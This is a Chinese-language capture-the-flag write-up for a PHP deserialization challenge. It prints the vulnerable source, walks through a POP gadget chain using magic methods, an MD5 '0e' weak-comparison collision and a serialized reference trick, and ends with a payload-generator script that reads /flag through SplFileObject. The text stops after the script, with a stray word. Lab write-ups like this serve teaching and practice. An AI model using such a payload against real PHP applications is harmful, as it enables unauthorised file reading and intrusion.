[SWPUCTF 2025 秋季新生赛]FIRST MEETING PHP 反序列化 POP 链

本题在线靶场#

https://www.nssctf.cn/problem/7284

1.分析#

1.1代码审计#

分析这段完整源码，需要构造一条非常经典的 POP 链（属性导向编程利用链）。

1
 <?php
2
highlight_file(__FILE__);
3
class WEB {
4
    private $sauy;
5
    public $creambread;
6

7
    public function __construct($sauy) {
8
        $this->sauy = $sauy;
9
        echo "I know you are good at this!";
10
    }
11
    public function __destruct() {
12
        echo $this -> sauy;
13
    }
14
}
15

16
class REVERSE {
17
    protected $re1sen;
18
    public $harukaze;
19
    public $ysyy;
20
    public $acc;
21

22
    public function __call($a, $b){
23
    if (!is_string($this -> harukaze) ||!is_string($this -> ysyy)||($this -> harukaze === $this -> ysyy)) {
24
        die("你输的什么东西?");
25
    }
26
    if (md5($this -> harukaze) == md5($this -> ysyy)) {
27
        ($this->acc)();
28
    } else {
29
        die("?");
30
    }
31
}
32
}
33

34
class PWN {
35
    public $wings;
36
    public $c0trick;
37

38
    public function __toString() {
39
        if($this->wings === 'SHENG-YI'){
40
            $this -> c0trick -> MinatoNamikaze();
41
            return "NSS WELCOME YOU!!!";
42
        }
43
        else {
44
            die("No wings,no fly!");
45
        }
46
    }
47
}
48
class MISC {
49
    public $cr4p;
50

51
    public function __invoke(){
52
        $this -> cr4p -> png = '010';
53
    }
54
}
55

56
class CRYPTO {
57
    public $kyarihoshi;
58
    public $rocage;
59
    public $last;
60
    public $dance;
61
    public $kiss;
62
    public function __construct(){
63
        $kyarihoshi = $this -> kyarihoshi;
64
        $rocage = $this -> rocage;
65
        $kiss = $this -> kiss;
66
    }
67
    public function __set($a, $b){
68
        $this -> dance = md5(rand(1, 10000));
69
        if ($this->last === $this -> dance){
70
            $kiss = new $this -> kyarihoshi($this -> rocage);
71
            echo "$kiss<br>";
72
            echo "恭喜！<br>";
73
    }
74
    else{
75
        die("LAST DANCE!May be you can find the trick!");
76
    }
77
}
78
}
79
$NSS = $_POST["NSS"];
80
unserialize($NSS);
81
?>

这道题本身没有直接调用 system、exec 等命令执行函数，所以需要通过反序列化原生类（如 SplFileObject）来读取 /flag 文件。

有可控的 unserialize() 入口

1
$NSS = $_POST["NSS"];
2
unserialize($NSS);

类里有各种 PHP 魔术方法：

__construct() ：构造函数来赋值 private 属性

__destruct()：对象被销毁时触发。

__wakeup()：反序列化时触发（常用于反序列化后的初始化或绕过）。

__toString()：对象被当成字符串使用时触发（比如被 echo、被 include 或者字符串拼接时）。

__invoke()：PHP 中把对象当函数调用 $obj() 时，会自动执行该对象的 __invoke()。

__call()：调用对象没有的方法触发。

__set()：给不存在的属性赋值时触发。

1.2POP 链完整调用流程#

触发起点：WEB::__destruct 反序列化后脚本结束，WEB 对象被销毁，执行 echo $this -> sauy;。如果$ sauy 是一个 PWN 对象（本题有__toString，下面同理)，就会触发 PWN::__toString()。
进入 PWN::__toString 需要满足 $this->wings === 'SHENG-YI'。然后执行$ this -> c0trick -> MinatoNamikaze();。由于 c0trick 是 REVERSE 对象且没有 MinatoNamikaze 方法，触发 REVERSE::__call(‘MinatoNamikaze’, [])。
进入 REVERSE::__call 需要绕过 MD5 弱类型比较：
- harukaze 和 ysyy 必须是字符串且不相等，但 md5() 值相等。
- 使用经典 0e 碰撞：harukaze = ‘QNKCDZO’，ysyy = ‘240610708’。条件满足后执行 ($this->acc)();。令 acc = new MISC()，触发 MISC::__invoke()。
进入 MISC::__invoke 执行 $this -> cr4p -> png = ‘010’;。令 cr4p = new CRYPTO()。由于 CRYPTO 没有 png 属性，触发 CRYPTO::__set(‘png’, ‘010’)。
进入 CRYPTO::__set（关键点）代码中有一句：

1
$this -> dance = md5(rand(1, 10000));
2
if ($this->last === $this -> dance){

由于 dance 是随机数，我们无法预测。解决办法：利用 PHP 反序列化的引用特性（R:），让 $this->last 和$ this->dance 指向同一个内存变量。当 $this->dance 被赋值时，$ this->last 也会同步变成同样的值，从而满足 === 条件。然后执行：

1
$kiss = new $this -> kyarihoshi($this -> rocage);
2
echo "$kiss<br>";

令 kyarihoshi = ‘SplFileObject’，rocage = ‘/flag’。这样会实例化 SplFileObject(‘/flag’)。echo 该对象时，会触发其 __toString() 方法，直接输出 /flag 文件的内容。

构造payload#

由于涉及到 R: 引用，手动拼写序列化字符串非常容易出错，建议用本地 PHP 脚本生成。

第一步：编写生成脚本（gen.php）#

1
// 复制题目中的所有类定义
2
<?php
3
class WEB {
4
    private $sauy;
5
    public $creambread;
6
    public function __construct($sauy) {
7
        $this->sauy = $sauy;
8
    }
9
    public function __destruct() {
10
        echo $this->sauy;
11
    }
12
}
13

14
class REVERSE {
15
    protected $re1sen;
16
    public $harukaze;
17
    public $ysyy;
18
    public $acc;
19
    public function __call($a, $b){ }
20
}
21

22
class PWN {
23
    public $wings;
24
    public $c0trick;
25
    public function __toString() { }
26
}
27

28
class MISC {
29
    public $cr4p;
30
    public function __invoke(){ }
31
}
32

33
class CRYPTO {
34
    public $kyarihoshi;
35
    public $rocage;
36
    public $last;
37
    public $dance;
38
    public $kiss;
39
     // 补全方法，虽然生成阶段不会执行它
40
    public function __construct() { }
41
    public function __set($a, $b) { }
42
}
43

44
// 构造链：注意这里使用了构造函数来赋值 private 属性（WEB的`$sauy`)
45
$pwn = new PWN();
46
$pwn->wings = 'SHENG-YI';
47
$pwn->c0trick = new REVERSE();
48
$pwn->c0trick->harukaze = 'QNKCDZO';
49
$pwn->c0trick->ysyy = '240610708';
50
$pwn->c0trick->acc = new MISC();
51
$pwn->c0trick->acc->cr4p = new CRYPTO();
52
$pwn->c0trick->acc->cr4p->kyarihoshi = 'SplFileObject';
53
$pwn->c0trick->acc->cr4p->rocage = '/flag';
54

55
// 关键：构造引用，让 last 和 dance 指向同一个内存地址
56
$pwn->c0trick->acc->cr4p->last = &$pwn->c0trick->acc->cr4p->dance;
57

58
// 把 PWN 对象通过构造函数塞进 WEB 的 private $sauy 里
59
$web = new WEB($pwn);
60

61
// 输出 URL 编码后的 payload
62
echo urlencode(serialize($web));
63
?>

第二步：运行脚本#

这个报错是本地的，完全不影响远程利用

音乐